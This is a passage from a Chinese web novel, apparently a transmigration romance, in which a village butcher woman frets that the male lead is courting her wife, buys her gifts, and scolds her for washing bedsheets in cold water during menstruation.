宋渝归终于不再欺负她,起身收拾了两件旧衣服,垫在她身下,又心虚的咳了两声,“这衣服我洗过了,很干净,你……反应还大吗?” 我的媳妇儿是水做的证据加一。 沈惜枝一听她还敢问这个,更生气了,小腿努力挣脱她的束缚,不许她握着,也气呼呼不愿搭理她。 宋渝归这才老实出去了。 家里的母猪就要生了,也不知道能生几只。 每天可得多喂一点。 她拎着背篓上山,割了满满一背篓草回来,家里还是一片寂静,池厢月也没过来,悄悄打开一点门缝往里面看了一眼,惜枝还在睡觉,折腾累了大抵是。 宋渝归将猪草拿去喂猪,再出来时,竟见宋星川在她家门口踱步,挠头犹豫,不知想做点什么。 见他视线落在满地乱跑的小鸡上,她瞬间警惕,什么意思,要偷我家鸡?! 宋渝归快步走过去,压下一点轻喘,态度还算有礼,“堂弟怎么来了,有事找我还是路过?” 是路过是路过是路过,别停我家啊! 多吓人呢。 宋星川看了堂姐一眼,见她态度不错,不再犹豫,憨直开口,“我今日去山上砍了很多柴,想着去年给你们砍的柴该是用完了,所以来送一点。” 宋渝归:? 我为我肮脏恶毒的心思感到抱歉,人家好心来送柴,我居然这样想他。 脸上也不禁带笑起来,“多谢堂弟,只是我家还有柴,哪能每次都麻烦你,你这也太客气了吧。” 宋星川摇头,仍是一脸憨样,“不麻烦,我砍了很多。” 两人推拒一番,宋星川甚至想把柴扔下就跑,宋渝归无奈,只得收下,又赶忙去屋里拿了今天剩下的碎排,塞进宋星川手里。 “这,不过是举手之劳,太贵重了,我不能要。” 肉价贵,他家之前在村里算是家境殷实,偶尔也能吃一回,可现在……他阿娘生病,花了很多钱,家里已经很久没吃过肉了,所以他才去镇上买了排骨,想回家炖汤给阿娘补补身体。 又怎么敢收宋渝归给的排骨。 “没事,你也知道,我家卖肉的,除了给你肉也给不了别的了,总不能白收你的柴火,拿着吧。” 她不想欠人情,更不想欠男主的人情,不然晚上都睡不着。 宋星川不善言辞,最后只好收下了排骨,视线却再次不由自主往后挪了一下,不在家吗…… 察觉他总往后面看,宋渝归先是疑惑,很快皱了皱眉,眼下可算回过神来了,顿时气了个仰倒。 我说你怎么人这么好呢,原来是冲我老婆来的! 退!退!退! 宋渝归心里的小人儿都在气抖冷,脸上反而勾起一抹笑来,“堂弟在找谁?” 宋星川骤然回神,知道是自己的目光被发现了,神色浮出些许难堪,深吸一口气,摇摇头,“我,我只是随便看看,若没什么事,我就先走了,堂姐……与堂嫂,你们平日若有什么事,也可来找我帮忙。” 他鼓起勇气说出这一句,然后扭头匆匆离去。 留下宋渝归更生气了。 谁要找他啊,我什么事自己办不好,需得找你这个隐形情敌帮忙? 难怪今日如此殷勤,原来还是对我家大反派上心了! 神经病啊你,我家惜枝乖乖的,都没有和小说里一样勾引你了,你还来招惹她? 而且我还没死呢你就惦记我老婆,渣男!不忠不孝! 宋渝归骂骂咧咧进屋,发现沈惜枝已经起来了。 小姑娘用细白的手指拉起被子,努力遮住到雪白精致的锁骨之上。 生怕某个人又“兽性大发”! 但她也不忘问,“刚刚外面的是谁啊,你怎么跟他聊了这般久?” 宋渝归颇为不高兴,哼哼两声,脸上连个笑也没能露出来,冷冷的带着思量,“是今天来我们摊上买肉的宋星川,对了,你早上是怎么碰到他的?” “哦,是他啊。” 沈惜枝显然对宋星川并不关注,听闻是他也没什么反应,只回了妻子,“今早我在等肉饼,就听见他唤我了,然后与我说话,我过来他也自己跟过来。” 宋渝归:? 他就是觊觎我老婆! 只是好好的,为何会忽然又来找惜枝? 不是很久没出现过了吗? 宋渝归心里有些害怕这是剧情的力量,会不会……今日过后池厢月也喜欢上宋星川? 那她真的要晕过去了。 沈惜枝茫然的坐在床上,看见妻子脸色一点点严肃起来,顿时有些不知所措,“怎,怎么啦?” 话问出口,她忽而想起,去年妻君说过,不喜欢她和宋星川来往,看见他们说话都会生气,两人还因此吵过,是因为这个? 沈惜枝忐忑又委屈,手指紧紧攥着被子,低下头小声说,“不是我要跟他说话的,是他自己过来的,我,我不好意思不理他。” 她根本没做什么,也没有怎么搭理宋星川,妻子要怪她吗? 沈惜枝抿了抿唇瓣。 宋渝归见媳妇儿委屈了,哪舍得让她误会啊,连忙快步走过去,一把将媳妇儿揽进怀里,抱着她,“嗯,我知道,我知道不关你的事,没有在怪你。” 沈惜枝不信,咬着娇嫩唇瓣,“你分明就是在怪我,那么凶的进来,都不笑了。 ” “没有,我在想事情,不怪你,怪你做什么。” 是剧情的问题,我家亲亲老婆一直跟在我身边,都不搭理别人的,怎么会是她的问题。 我只是怕……男主都能无缘无故对惜枝生出好感,惜枝会不会也…… 如果真是这样,老娘非得拿刀砍了那死东西不可。 宋渝归长舒一口气。 “你是不是又觉得我在勾引男子了?” 从前妻子经常觉得她勾引男子,现在是不是又这样觉得了? 小姑娘憋的眼尾通红,倏然问。 宋渝归就是不放心问一问,哪想到能把人惹哭,手忙脚乱的就开始哄,“胡说,我怎会这样想你!我问你是觉得宋星川人不好,我怕你被他骗了嘛。” 天地良心她真是这样想的! 沈惜枝不听,还将头偏去另一边不肯看她,声音有些难过,“反正不管你怎么想,我喜欢的都是你,若有朝一日你不要我了,我便是去死也不会另嫁的!” 宋渝归被她似含决绝的话语吓了一跳,连忙把人从被子里挖出来,无视她细弱的挣扎,一手揽住漂亮的蝴蝶骨,一手兜在娇软臀瓣上,语气十分重与认真,“不许说胡话,我不会不要你的!也从来没有觉得你勾引谁,别污蔑我。” “你,你就是……” 话还没说完,小嘴就被捂住了,“我没有我不是,方才宋星川在门口,一直想找什么人,我是感觉他想勾引你!” 宋渝归不悦的将人抱的更紧,说出自己的猜测。 沈惜枝不敢置信瞪了瞪眼睛。 咽了咽口水,艰难开口,“他,勾引我?” 第62章 我脸上写着傻子两个字吗 宋渝归一心认为宋星川那死东西要勾引自己媳妇儿,气的不行,还非要媳妇儿与她一同相信这件事。 沈惜枝神色恍惚犹豫,“妻君会不会是误会了什么呀?” 但宋渝归接着一句,“你信他不信我?” 小姑娘就老实了。 乖乖贴到妻子身侧,声音软乎乎的,“我信你,妻君,你说是就是。” “哼,你不许跟宋星川说话。” “嗯嗯,我不和他说话,我只喜欢我的渝归姐姐。” “他勾引你,你也不许理他!” 沈惜枝诧异,紧紧抱住宋渝归,靠在她怀里,不满,“我怎会理他!” “我定是最喜欢妻君的,才不理他呢!” “乖。” 宋渝归觉得妻子可爱,扭头又在她额角亲了一下。 “他给我们送了柴来,所以我把今日剩的排骨给他了,我们不要欠他人情,我不喜欢他。” “嗯,好,我也不喜欢他。” 妻子如此在意他,几次重申不喜欢他,听的多了,沈惜枝也很是不喜他,她与渝归姐姐是妻妻一体的。 这样才对。 “你还要再休息一下吗,你若累了,今日的晚饭我来做!” 宋渝归十分自信的坐起来,沈惜枝默默摇头,“我来吧,你做的估摸池姑娘都不吃。”? “你看不起我!” 妻子悲愤异常,沈惜枝掩唇笑了一下,眸色看起来仍十分纯真,像是真心的,“没有呀,人各有所长,妻君的长处不在做饭嘛。” 其实妻君做的她也很爱吃呢,不过只做给她一个人吃就好了。 “哼,那你去做,你去做吧。” 她像是还有点不高兴,撅着红唇,沈惜枝便凑过去,蜻蜓点水的亲了一下,明明主动的是她,偏自个儿脸还红到不行。 害羞的很。 小声说,“你辛苦一日,我舍不得你吃不好吃的。” 宋渝归:虽然这时候我应该很感动,可她说我做的是不好吃的。 会不会说话会不会说话,能不能给我留点面子! 沈惜枝也很快发现自己这话说的不对,漂亮的眼睛眨了眨,又很快改口,“妻君做的也很好吃,我只是想让妻君吃的更好一点。” 眨着漂亮的大眼睛,乖巧望着妻子,希望她能赶紧忘记自己上一段话。 宋渝归哼哼两声,没真把那话放在心里。 她连忙眼巴巴换了别的话题,“妻君今晚想吃什么?炒鸡吗,还是喝鸡汤?” “炒鸡吧,吃点口味重的,晚上再炖鸡汤,明早用鸡汤煮面。” “好呀。” 宋渝归虽不会做饭,可论起吃什么怎么吃,那也是一套一套的。 池厢月与宋心雨去山上摘了满满一篮菌子回来。 一到家门口就猛的用鼻子嗅嗅,并喊人,“惜枝,渝归,我回来了,你们在做饭吗?” 宋渝归本在烧火,闻声往外看去,就见池厢月一下跃过栅栏,来到她们面前。 “你们在做啦,我摘了菌子,能放进去吗?” 沈惜枝抬头看了一眼,见里面有自己要的,便点点头,“能放,你去洗一下,我放一点,剩下的晚上炖汤。” “行!” 池厢月想到菌子鲜美的味道,屁颠屁颠跑出去洗了,过一会儿又将洗干净的菌子拎进来,沈惜枝挑了几个黑褐色的,有的切了放进去,有的整个放进去。 宋渝归抬头去看,“哦,是香菇啊。” “这个叫香菇吗?”沈惜枝搅着锅,好奇问。 “嗯哼,不然你们叫什么?” “就叫菌子呀,但是这个真的很香,妻君取的名字名副其实呢。” “这可不是我取的。” 宋渝归笑了笑,沈惜枝也没追问是谁取的,无所谓,她主要就是想夸夸渝归姐姐。 炒鸡加了一点辣,很快便做好了,咸香的味道瞬间溢满整个小屋子。 池厢月刚刚说话扯到了口疮,疼的眼泪都要掉下来了,眼下一边捂着嘴,一边紧紧盯着今天的晚饭。 除了炒鸡之外,还有一个鸡蛋汤可以解解腻。 “妻君快尝尝好不好吃,好吃的话下次把我们家的鸡也宰了,我再做给你吃!” 宋渝归:…… “那,那还是不用了,鸡还能再活两年,下两年蛋呢。” 咱养鸡不是为了吃鸡蛋吗?咋就要杀了? “哦,好吧。” 她看起来居然还有点惋惜。 炒鸡的味道太香了,宋渝归夹了一块鸡肉,入口时眼睛便亮了,鸡肉她来到古代后还是第一次吃到,只觉得鲜香诱人,惜枝手艺真好。 “好吃!” 池厢月不敢将嘴张的太大,小心的用舌尖吮了一下,接着便是眼前一亮,也跟着说,“好吃!” 但因为声音太大,又扯到了伤处,简直要叫她疼死了。 一口一口吃的极其艰难。 可就是这样小心,也总会有不慎伤到自己,疼的她顿时嗷一声尖叫的情况。 沈惜枝:…… 吃的好好的宋渝归:…… 古代也没有西瓜霜什么的,只能靠女主自己熬一熬了,加油! “这么疼你还吃得下?” 池厢月眼含热泪,声音含糊,“疼也得吃啊,本来就很疼了,如果再不吃点好吃的,活着还有什么意思?” 她一脸生无可恋,将两人都逗笑了。 池厢月以往吃到好吃的,高低能吃三碗米饭,但今天嘴巴实在受不住折磨,她只吃了一碗,就吃不下了,太疼了,影响食欲QAQ。 放下饭碗的手依依不舍,神情蔫巴巴的。 “口疮得多吃清淡的。” 宋渝归看了一眼,随口道。 池厢月挥挥手,表示知道了,但我不听,清淡的有什么好吃的? 吃清淡她还不如死了算了。 在桌子上趴了一会儿,又忽而坐起身子。 捂着一边嘴巴,第一回轻声细语说话,“对了,我约了人明天去砍柴,到时候砍得柴我带过来给你们吧,不然都便宜别人了。” “砍柴?和宋姑娘一起?” 池厢月摇摇头,“心雨哪会砍柴啊,一个男的,也是你们村子的,我今日见他在砍柴,也想砍,但我家没有砍柴的刀,他答应明天给我带一把。” 宋渝归心里有些不好的预感,“和你约好的人,不会叫宋星川吧?” 今天宋星川才给她家送了柴,如果真是他,宋渝归一口气都要上不来了。 池厢月不知她不喜欢宋星川的事,闻言眼睛一亮,“你怎么知道的?是啊是啊,是他,他之前不是嫌我笨手笨脚添乱嘛,今日和我解释了那时态度不好是因为他娘病了,我也不是那么小气的人,就谅解他咯,见他一路拿斧头砍柴,感觉很有意思的样子,就约了他明天一起砍柴。” 如坠冰窟,差不多就是这等感觉了。 什么!女主要和男主独处了? 她脸色都凝重了一些。 也不说话了。 池厢月发觉不对,挑了挑眉,“怎么了?你和这人有仇?” “仇倒是没有,算了,你去吧。” 思量了会儿,她又忽而放松下来,淡淡道。 她也想看看剧情的影响力,究竟能不能让女主在这个时候喜欢上男主。 …… 离边陲小镇十分遥远的京城,宅院内,女子身戴环佩,衣着华丽,一路发出清脆的响声,语气平静中带着一丝冷意,“父亲还是不肯告诉我表姐的具体去向吗?” 是夜,沈惜枝抱着妻子的手臂乖乖躺下,一双漂亮眼睛眨了眨,小脑袋靠在她胸口。 天气日渐回暖,宋渝归终于不用时刻担心会冻到媳妇儿,总不停替她掖被子了。 翻了个身便轻易将人拥在怀里了,手指不老实的往人身上摸,下午疏解了好大一通,沈惜枝本想好好睡觉的,可她,可是她总是! 总是这个样子QAQ。 小姑娘脸上泛着异样的红晕,檀口微张,鼻腔发出若有若无的气音。 难耐的厉害。 本以为晚上又要被欺负个彻底,可谁知,揉了不一会儿,那只手便安稳的陷在她腿上,窝在那儿不动弹了,舒服余韵褪去,沈惜枝才发现,欢愉的感觉没有一阵接一阵涌过来。 她茫然低头,见到的却是妻子闭上眼睛,已经准备睡觉了。 小媳妇儿:??? 人干事? 这就睡了? 她晕红着脸颊,在黑夜中瞪大了眼睛。 好一会儿,没忍住伸手气呼呼推宋渝归一把。 宋渝归被推的身子往后倒了倒,连带着那只手也滑落在床沿上。 沈惜枝闷哼一声,眼里又泛上许多水意。 被狠狠推走的人却眼皮都不睁,又默默摸回来了,趴在惜枝娇软的胸脯上,嘟囔着,“别把我和我老婆分开。” 她醒着不老实,睡着也不是什么好东西。 沈惜枝生气的瞪她,可瞪不了多久,小脸又红彤彤的,泛着甜蜜色彩。 她跟了妻子那么久,哪能不知道老婆二字是什么意思啊。 渝归姐姐也不想和我分开呢。 连在梦里都不想。 那,那就原谅她了。 真是的,每次都这样,撩拨了我之后,又将我丢在一边不管了。 坏蛋。 沈惜枝被人躺在胸口睡觉,连翻身都很困难,她又不舍得叫醒累了一日的妻子,只能就着这姿势,闭上眼睛,勉强哄自己睡觉。 每日起的都这样早,入睡于她而言并不困难。 只是心中热乎乎的,仿佛有一股火没有浇灭。 都怪妻君,睡得那么快。 小姑娘一边想着,一边控制不住沉入梦乡,第二日天还不亮,宋渝归就醒了,她的手包在一处极温暖的地方,是她昨夜塞进去的。 惜枝没生气的将她扔出来,也没把她踹下床,惜枝还是心软。 她美滋滋起床,去屋外打水洗漱,顺便洗洗手,包在那处,她整个掌心都湿了。 沈惜枝本就浅眠,听见动静睁了睁眼睛,见妻子不在了,也安静的爬起来,坐在床上,只是双眸失神,定定望着一处,明显还没完全清醒。 宋渝归进来,就见小妻子这幅呆呆的模样,她快走几步,过去一把捧着妻子的脸。 手是刚洗过的,透着凉意,将人冻一激灵,困意出走大半,瞪了瞪妻子。 “你放开,好凉!” 她嘴上说着不高兴的话,可手没有过来阻止她,脑袋也不往后退,避开她。 哼哼,口是心非,我要是放开了,只怕大反派才是真要生气呢,又得闹了。 因此,那双手不止没有离开,还挤了挤沈惜枝软嫩的脸颊,将她的嘴挤成了嘟嘟唇。 沈惜枝:! “腻补药奇虎窝!” 她话说的含糊不清,也难为宋渝归还是听清了,凑上去亲了一下被迫撅的能挂油瓶的小嘴,还轻轻含了一下,然后才松开她。 小姑娘肌肤嫩,这一掐,雪白的小脸上便出现了几个红红的指印。 宋渝归刚要去给人盛碗鸡汤喝,发现后又凑回去,在那红红的指印上亲了一下,接着又与她亲昵的贴贴脸。 沈惜枝神情哀怨,“你就知道招我。” 每回都这样,与我亲近,可后面的事又不管不顾了。 太坏了。 “你好看呀,今日穿那身绿色的可好?” 也是到春天了,自然得穿些浅绿浅青,与这般季节适配一下,看着就有浓烈的生命力,绝对不像会早逝的。 “哦。” 她手指捂在脸上,遮住上头妻子留下的红印,闷闷的应了。 昨夜未曾得到满足的身体,好像还有些不适。 直到她起来那刻,脸色才白了一下,忍不住失声,“妻君!” 宋渝归刚把火点着呢,又火急火燎跑过来了,“怎么啦怎么啦。” 小姑娘咬着唇瓣,苍白的脸上缓缓爬上一丝红晕,刚把人叫进来,这会儿又要把她往外推,“你,你出去一下。” 宋渝归:…… 不是你叫我进来的? 现在又让我出去,想的美。 她皱眉,“什么事你先说。” “哎呀,没什么事,我叫错了,你快出去呀!” “呵,没什么事你叫的这般凄厉,我还以为我们家有大老鼠呢。” 沈惜枝脸颊愈加红润,像覆上了一层薄薄的胭脂。 眼睛也心虚的下垂,左看看右看看,反正不敢看她。 宋渝归眯了眯眼睛,愈加疑惑,方才惜枝叫她还十分急切,现在却又这般强装镇定,什么事能叫她想清楚后有这样的反差? 宋渝归默默算了下时间,看了媳妇儿一眼,平静道,“你来月事了?” 沈惜枝:!!! 她一脸震惊,也不用猜了,妥妥是。 宋渝归无语,“这有什么不好说的,是不是弄床上了?” 没来月事这段日子惜枝都喜欢不穿衣服睡觉,偏她来月事的日子又不大准确,也不是每个月都会来的,所以有时没有准备,就会弄脏床。 “我去给你找月事带,你别站起来,就坐着,拿被子盖一点,免得着凉。” “哦。” 沈惜枝本来想把渝归姐姐赶出去自己找月事带的,可渝归姐姐不许她动,还怕她冷。 以前哪有这种好日子过啊,寒冬腊月的,即使来了月事,手也得伸进冰冷的河水里洗衣服。 是后来,日子才一点点变好的。 起初渝归姐姐不喜欢她,对她很差,她也讨厌渝归姐姐,恨不得……她死,可后来,渝归姐姐就对她变好了,给她买肉吃,照顾她,心疼她洗衣服会生冻疮,不许她去给人做很辛苦的活,给她零花钱,给她买衣服首饰,将她打扮的漂漂漂亮,还帮她骂了曾欺负过她的爹娘。 小姑娘嘴上不说,心里都高兴着呢。 宋渝归正背着人满屋子找月事带,好不容易翻出一条干净,不曾用过的,一回头,惜枝在后头傻笑呢,傻笑也是花一般的笑颜。 她眉目温柔,走过去,“怎么了,想到什么高兴事了,与我说说?” 沈惜枝黑润的眸子里满是光亮,偏了偏头,不敢看她,“没,没什么呀,你找到了就快出去吧,一会儿汤都烧干了。” “不会,我里头放的柴少。” 话是这样说,但她还是把月事带留下,自己出去了。 沈惜枝红着脸在里面换月事带,等穿好衣服出去,灶台上已经摆了两碗热气腾腾的鸡汤了。 各一个浸泡在鸡汤里,白嫩嫩的水煮蛋。 “过来喝点汤暖暖胃,是不是肚子疼?” 惜枝早年时常受寒,来月事期间肚子疼是常事。 小姑娘抿着唇瓣,点点头,小腹坠坠的疼,不是很厉害,她知道还没到时候,等中午就疼的厉害了。 宋渝归顿时面露关切,“那要不然你今日先别去镇上了,不然累着更要疼了。” 而且在镇上她要卖肉割肉,对惜枝肯定多有照顾不上的,还是在家躺着好,躺着起码能舒服一点。 听到不能跟着她去卖肉,沈惜枝眉眼染上些许失落,但也没有闹脾气硬要跟着去。 只是蔫巴巴的点头,声音也带了几分低沉,“哦。” 脑袋被人摸了一下,宋渝归哄她,“你想要什么,等我回家了给你带,好不好?” 沈惜枝也照旧摇摇头,只说,“我没什么想要的……” 想了想,又仰头,“但是你早点回来,可以吗?” 她们一直待在一起,已经很少分开了,骤然沈惜枝要被留下,十分不习惯。 “嗯,我早点卖完回来。” “记得买牛肉,你不是想吃牛肉吗?” “好。” “你一个人在家,要是无聊就找池姑娘说说话,她话多,你与她一块儿……” “会被吵的头疼。” 没说完就被人抢了先。 宋渝归:…… “也不至于吧?” 小姑娘幽怨的看了她一眼。 哼。 至于的,池姑娘可会说话了。 宋渝归见状无奈,点点头,“那你就在家等我吧,我早点回来,午饭也回来吃。” “好。” 沈惜枝这才有几分高兴了。 宋渝归不再耽搁,两口喝完没那么烫的鸡汤,吃了几块鸡肉,又将鸡蛋吃了,便推上推车出门去。 来得早不如来得巧,正好碰上食悦楼采购食材,顺手从她这买去几十斤猪肉。 一下就让她今日任务轻松不少,也顺利在午时前将肉卖完了。 在周边同事羡慕的眼神下,她毅然决然收了摊子,将仅剩的一块肥瘦相间的肉锁起来,然后去打听哪里有卖牛肉的,顺手买了两斤牛肉,一把芫荽,些许小辣椒与一包孜然回去。 打算一斤做孜然牛肉,一斤做小炒牛肉。 还额外给惜枝看中了一根珠钗,上头雪白的珍珠颗颗圆润均匀,镶嵌在银枝上颤颤巍巍,十分好看。 价格也不难看,开口就要走了宋渝归六百文,呵,她今日才赚了一千二百多文,一半的收入就这样出去了! 可珠钗真的很好看,不让她买她又心痒痒,总觉得媳妇儿就得这样好看的东西配。 现在只能安慰自己,给媳妇花钱,那能叫浪费钱吗? 哼。 里头还有一支更好看的垂珠步摇呢,就是有点贵,居然要二两,她一个普通小老百姓,拿的出二两吗? 笑话,她敢说价格她都不敢听! 算了,等以后攒了钱把房子修整一下再说吧。 宋渝归推着车,上头放着今日买的菜就回家了。 牛肉色泽与猪肉不同,一路走过去,又被好些人问了。 牛肉价贵,村里人一年到头都吃不着一回。 若是能叫自己家的儿子女儿也去学一门杀猪的手艺就好了。 这才多久啊,原本村里最破败贫穷的人家一下就殷实了。 宋渝归把车推到门外,池厢月不在,她家格外清净,估计惜枝在屋里睡觉呢,她心想着,打开栅栏,耳边却响起轻微的水声。 望过去,顿时大惊失色怒火中烧,“沈惜枝!你在做什么!!!” 沈惜枝在听见有车轮子压过黄土地时就知道不好了,正想悄悄放下浸湿的床单,假装无事发生,蹑手蹑脚的回去呢,可只是放下被单这点动静,都被人听见了! 妻子瞬间瞪向她,她连话都不敢说,站起来小手心虚的背在身后,掐自己手指头。 “我看看这床单怎么自己跑到水里去了……” 宋渝归沉默,没忍住问她,“我脸上是写着傻子两个字吗?” 第63章 训她 沈惜枝被训的头都抬不起来,眼里含着一泡热泪,吸了吸鼻子,委委屈屈的坐在屋里。 妻子皱着眉,十分不高兴,“你不知道自己的身体情况吗,谁叫你来月事的时候碰冷水的?!” 惜枝月事不常来,有一次她悄悄来了月事,不想叫她知道床单被弄脏了,就自己趁她不在家洗床单,好家伙,洗完以后那疼的是死去活来,小脸唰白唰白的,差点没把她心疼死。 沈惜枝听见妻子余怒未消的声音,抿了抿唇,小声辩解,“不疼的,我都不疼的。” 宋渝归:“呵,你晚上肚子疼别让我给你摸肚子!” 她还是那么凶。 “不摸就不摸,我才不疼。” 她被平日里最疼她的妻子骂了,正是满腹委屈的时候,嘟囔着反驳,一点没有承认错误的样子。 宋渝归气的不行,干脆坐下不理她了。 她还生气,我让她不许碰冷水,我做错了吗? 还不是为了她的身体着想,真是不识好人心! 池厢月来的时候,屋子里冷的几乎要结冰霜了,她刚一走进来就没忍住打了个寒颤,抖着牙齿道,“天儿又冷了,你们也多穿些。” 话音落,竟没人搭理她,宋渝归黑着脸看沈惜枝,沈惜枝倔强咬唇偏首,不看她。 池厢月察觉出氛围不对,凑上去问,“这是怎么了?” “你们吵架了吗?” “渝归,这就是你不对了,惜枝平日里这么乖,每天给你做饭吃,你怎能与她吵架,这样惜枝该有多伤心啊!” 沈惜枝表面不理人,实则在心里用力点头。 就是就是! 听不到妻子说话,沈惜枝心里更加不高兴,不就是洗了个床单,有必要这么凶嘛,凶了我好久。 她生气的站起来,故意冷冷道,“我要去做饭了!” 池厢月听见做饭二字,眼前一亮,“好好好,做饭好啊做饭好啊,我去给你打下手,我们不理嗷——” 她越说越激动,不慎又扯到嘴巴的伤口上,顿时惨叫一声。 宋渝归冷笑,故意说,“活该,谁让你拉偏架。” 池厢月捂着嘴巴,分外无助,这口疮到底要多久才好啊,她要去京城看大夫! 太让人痛苦了。 沈惜枝早早揉好了面团,切成鲜面条,用昨晚煨的鸡汤煮面条,闻起来鲜香扑鼻,味道非常浓郁。 “好香!” 池厢月捂着脸颊,含糊不清道。 她盯着这锅鸡汤面眼睛都要红了,看着就好好吃好好吃。 宋渝归从屋里出来,又一言不发出去了。 沈惜枝本是精神恍惚的煮面,忽而听见动静,差点追出去,但理智拦截了她,她气呼呼鼓着腮帮子搅弄锅里。 眼睛却透露了心神不宁。 池厢月看出来了,她知道宋渝归也没离开,就悄悄跑去外面看了一眼,然后回来,舒了一口气道,“渝归在洗衣服呢,没走,看起来也不生气了。” 沈惜枝低下头,明明心里很怕妻子生气,嘴上却偏偏要说,“谁管她生不生气啊。” 池厢月:…… 赶在饭前,宋渝归洗好床单晾挂起来,回来时还有些不高兴,根本不像池姑娘说的看起来不生气了! 沈惜枝委屈的想,怎么气性这么大啊。 她刚欲将面条盛起来,忽而脸色一变,白了许多,肚子疼的近乎痉挛。 这熟悉的感觉…… 她觉得自己完蛋了,本来今日以为不疼,才去洗被单的,没想到只是疼的晚了,妻君才刚因此骂过她,还说她要是再疼,不会帮她揉了…… 沈惜枝疼的直不起腰了,站在灶台边捂着肚子,池厢月还望着面条神情陶醉,却发现盛面条的勺子不知为何落下去了,好久没有人动它,下意识往旁边看,不看还好,一看吓一跳,惜枝脸色苍白,额头沁出豆大的汗珠,吓人极了。 她连忙将人扶住,不等沈惜枝制止,便扬声喊人,“渝归,渝归,你快来啊,惜枝身体不舒服!” 里面一阵重物落地的声音,宋渝归踢翻椅子冲出来,就见沈惜枝咬着唇瓣捂着肚子,眼眸盈满水意,怯生生望向她,显然是月经疼的厉害,又怕被她责骂。 可她连生气都没有功夫,只顾着一把将妻子打横抱起,慌忙抱去屋里放在床上,脸色冷的厉害,“叫你别洗衣服你非得洗,现在好了吧,肚子疼了,每次都不听话!” 她语气很凶很凶,很久没这样凶过了。 沈惜枝难免感到委屈,将脑袋一点一点塞进她怀里,沉默着不敢说话了,小手一直拉着人衣服袖子。 呵,每次自己没理就这样,搞得好像谁欺负她一样,可谁能欺负你! “池姑娘先去吃饭吧,麻烦帮惜枝舀一碗热汤。” 她回身劳烦池厢月。 “哦,哦哦。” 池厢月站在一边简直手足无措,不知道该怎么办,一听宋渝归吩咐立马就去了。 回来时还紧张兮兮问,“要我帮你们请个大夫回来瞧瞧吗?” 宋渝归接过池厢月手里的鸡汤,谢过她的好意,“不必了,她喝点热汤休息一会儿就好了。” 池厢月疑惑,怎能这般随意呢,什么叫休息一会儿就好了? “可是惜枝看起来很疼啊!你是惜枝的妻子,如何能不管她?” 她不明白,明明渝归一向对惜枝宠到她都没眼看,现在惜枝这么难受,她居然连个大夫都不给请? 池厢月看宋渝归的眼神已与看渣女无异。 却不想她为惜枝说话,惜枝竟还悄悄瞪了她一眼。 声音虚弱,“池姑娘吃面吧,不必管我。” 她只是来月事而已,总是有这一遭的,自己也知道自己的身体,本已被养的好了许多,今日又不听话碰了凉水,才,才会这般。 若叫大夫过来看她月事疼痛,才真是叫人颜面尽失。 “好了,少说两句话,喝点热汤。” 小姑娘疼的唇瓣都在微微发抖,低头乖巧喝着汤。 宋渝归轻哼,“现在老实了,让你不要碰凉水你不听,还与我闹脾气唱反调,有本事你不要疼啊!” 池厢月刚在想沈惜枝不识好人心,正要气愤的怒吃两碗面呢,就听见这番话,瞬间福至心灵,脸色复杂的明白了沈惜枝为何不适,还一直捂着肚子。 沈惜枝不曾想妻君现在就开始说,有些羞恼与委屈,小脸嫣红一片,眼睛水汪汪的,“你不要在池姑娘面前说我。” 呵。 她心里冷笑,嘴上却老老实实没说了,让池厢月吃面去,她晃了晃汤碗,示意沈惜枝继续喝。 知道是来月事,池厢月就放心多了,她表妹也时常因月事腹部疼痛不已,总要叫她用手捂着。 表妹说她是习武之人,手格外热一些,捂着会很舒服,若没有她,便疼的要死掉了。 自个儿盛了面,坐在灶台边吃时,池厢月心中忍不住想,我来到此处也有几月了,不知表妹可还安好,来月事时可还像从前一样疼的厉害,没了我在,可千万莫要叫人欺负才好。 表妹是个最柔弱会招人欺负的体质,不知道为何,到哪都有人欺负她,以往有她护着,可现在她不在…… 池厢月一想起这事,就忧心的饭连嘴巴疼都忘了,失神的一口接一口,吃了两碗面才停下。 屋里,说过不给媳妇儿揉肚子的某人正黑着脸又慢又温柔的揉着。 沈惜枝咬住粉嫩唇瓣,见妻子不说话,也知道她还气着,好一会儿,才小心去拉她的手腕,轻声道,“你不要生气嘛。” 知道自己做错了,又开始认错。 声音软软乎乎,像小猫,“对不起,我错了,我以后再也不敢来月事还碰凉水了。” 喝过热乎的鸡汤后疼痛缓解了一些,但小腹还是一阵阵的疼。 宋渝归仍不说话,面无表情化身为一个揉肚子机器。 沈惜枝等了一会儿,便有些恼怒,满是怨念的拉她手腕,眼眉微蹙,“你说话呀,别生我的气,我以后真的不敢了。” 她终于开口,“每次你怕我不理你,都说以后不敢了。” 其实是,哎呀不小心被你发现了,那我道歉嘛,对不起,但下次还敢。 宋渝归低头瞥了心虚掐着自己手指的妻子一眼,叹气,“罢了,我说话你总归是不听的,我也拿你没办法,你知道我不可能不管你。” 说到这,她清楚的见到沈惜枝一双黑润眸子闪过亮光,像星星般抬起望着她。 哼,这就高兴了? 但她接着说,“若再有下次,你如此叛逆,我只好请人造一张新的床,与你分床睡了。” 沈惜枝:???!!! 瞳孔地震! “你说什么?” 她几乎失声尖叫,声音传出去,吓得池厢月差点又咬破舌头,她捂着嘴,心里不住庆幸,还好没咬破,要是再多出一个疮来,她真的不想活了! 宋渝归见怀里人反应极大,终于满意了,一脸平静道,“如果下次你再这样不听话,伤害自己的身体,那我只能跟你分床睡了。” 沈惜枝:…… 她不敢置信之下,脸色有一瞬间冷下来,很快又换上乖巧的模样依过去,靠在她肩膀上,声音带着甜腻与微颤,“我们是妻妻,哪有妻妻分床睡的,妻君莫不是在说胡话?” 她自然不愿,想与妻子睡在一起,她们已经一起睡了很久很久了,有朝一日若被妻子抛下只能孤零零一人入睡,她会难过的,光是想到,心就要碎掉了。 宋渝归悄悄在她腰间软肉掐了一把,力道倒也不重,但含着警告的意味。 “不许再伤害自己的身体,你做到了,我就不和你分床睡。” 她发现骂两句除了能让惜枝委屈外,她竟丝毫不会悔改,显然是不怕被骂的,可一听说要分床睡,反应就大了,那双美玉般的眼睛里都透着后怕。 好一会儿,小姑娘松开她的手,鼓着腮帮子,“好吧,我知道了。” 第64章 剧情的影响 池厢月吃完面,小心翼翼的从外面凑进来,扒着门探出头,“你们和好了吗?” 宋渝归坐在床沿上一手揽着妻子,抬头温和勾唇,“我和惜枝本就没有吵架,何来和好一说,是不是,惜枝?” 沈惜枝靠在她怀里,看起来不情不愿的应了一声。 “哦,那你们快去吃饭吧,一会儿涨了就不好吃了,惜枝身体好点没?还疼吗?” 